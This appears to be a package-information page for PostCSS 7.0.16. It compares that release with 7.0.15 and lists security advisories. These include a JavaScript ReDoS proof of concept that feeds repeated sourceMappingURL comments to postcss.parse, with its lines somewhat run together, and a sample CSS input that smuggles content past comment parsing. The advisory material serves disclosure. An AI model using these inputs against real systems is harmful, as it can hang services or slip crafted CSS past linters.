PostCSS version 7.0.16 represents a minor update from version 7.0.15 in this powerful tool for transforming styles with JavaScript plugins. Both versions share the same core dependencies: Chalk for colorful console output, Source Map for debugging transformations, and Supports Color for determining terminal color support. The library, authored by Andrey Sitnik, remains under the MIT license, ensuring its accessibility for a wide range of projects. Developers will appreciate the consistent API and plugin ecosystem across these versions, allowing for seamless upgrades. The primary differences lie in the internal details and deployment. Version 7.0.16 features a slightly smaller unpacked size (600441 bytes compared to 602035 bytes in 7.0.15), suggesting potential optimizations within the codebase. While the file count remains the same at 35, the newer version was released later on the same day, May 4th, 2019, approximately 13 hours and 17 minutes after the previous one. This indicates a quick follow-up release, possibly to address a minor bug fix or improvement identified shortly after the initial 7.0.15 release. For those using PostCSS, upgrading to 7.0.16 is likely a low-risk endeavor, offering potential stability enhancements and a slightly leaner footprint. Developers should always consult the official changelog for detailed information on the specific changes introduced in this version.
All the vulnerabilities related to the version 7.0.16 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.